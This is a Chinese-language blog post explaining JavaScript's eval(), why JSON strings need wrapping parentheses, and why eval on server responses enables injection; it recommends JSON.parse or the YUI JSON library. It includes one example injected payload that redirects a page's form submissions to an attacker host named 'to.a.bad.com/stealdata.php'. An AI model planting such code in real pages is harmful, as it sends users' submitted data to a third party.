JavaScript中eval()函数的一些问题

首先先来简单介绍一下eval()的用法,它还是比较容易理解的,相信很多朋友都已经熟悉。eval函数接收一个参数s,如果s不是字符串,则直接返回s。否则执行s语句。如果s语句执行结果是一个值,则返回此值,否则返回undefined。

另外,因此自己在项目实践过程中,因为解析JSON格式数据的时候,发现对于对象声明语法“{}”的并不能返回一个值,需要用括号括起来才会返回值。
例如:

  1. var oo='"abc" + 123';
  2. var xx='{a:123}';
  3. alert(eval(oo));     //abc123
  4. alert(eval(xx));     //undefined
  5. alert(eval('(' + xx + ')'));    //object对象

因此,在获取Json字符串的时候如果要将其解析为对象,必须用括号括住,才能将其转换为表达式,并返回其值。

不过,eval同时也存在很大的问题,首先,它可以用来解析任javascrtipt代码,不仅仅是json数据,因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码,而该代码传入eval()之后就可以被执行。如下面的一个例子:

  1. [1, 2, (function(){document.forms[0].action = "http://to.a.bad.com/stealdata.php"})(), 3, 4]

这个例子中,由于响应的文本包含一个匿名函数,这个函数会修改页面中的第一个表单的action特性,导致表单在提交时,所有数据都会被提及给一个不同的服务器。因此,如果不对json数据进行过滤就直接将其传递给eval()的情况下,很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后,都会在页面的上下文中求值,它就可以像类成员一样运行,对页面中的数据进行操纵。

因此,我们应该避免将服务器返回的javascript函数传入eval()函数中,比如,我们要对json字符串进行解析,可以使用javascript json 库来进行解析,这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。
首先,我们可以先监测浏览器是否支持json库函数

  1. if (typeof(JSON) === 'object') {
  2.  //如果成功,表示该对象存在
  3. }
  1. if (typeof(JSON.parse) === 'function') {
  2.   // //如果成功,表示该处理函数有效
  3. }

我们最好可以双重监测以确保万无一失。

  1. if (typeof(JSON) === 'object' &&
  2.     typeof(JSON.parse) === 'function') {
  3.      //…………
  4. }

监测过之后,我们就能放心的使用该函数处理json字符串了。在此顺便提一下YUI库的处理方式,实现起来同样比较简单。

  1. //引入库的核心文件
  2. <script src="http://yui.yahooapis.com/2.8.1/build/yahoo/yahoo-min.js"><!–mce:0></script>
  3.  
  4. <script src="http://yui.yahooapis.com/2.8.1/build/json/json-min.js"><!–mce:1></script>
  5.  
  6. var jsonString = '{"aa":1234,"bb":567}';
  7.  
  8.     var oo = YAHOO.lang.JSON.parse(jsonString);
  9.  
  10.     // 处理过后,接着我们就可以直接对对象的数据进行操控了
  11.     if (oo.bb &lt; 25) {
  12.         …………
  13.     }
  14. }

2 Comments

  1. 站长工具 Says On 一月 20 At 5:05

    博主的文章很不错,我是站长工具-站长精灵的作者,一款专业的SEO工具软件(可以帮您提高博客的流量),想跟您交换个链接,不知可否

    {Reply}

  2. 站长工具 Says On 二月 01 At 8:08

    博主,兔年快乐!

    {Reply}

Post a comment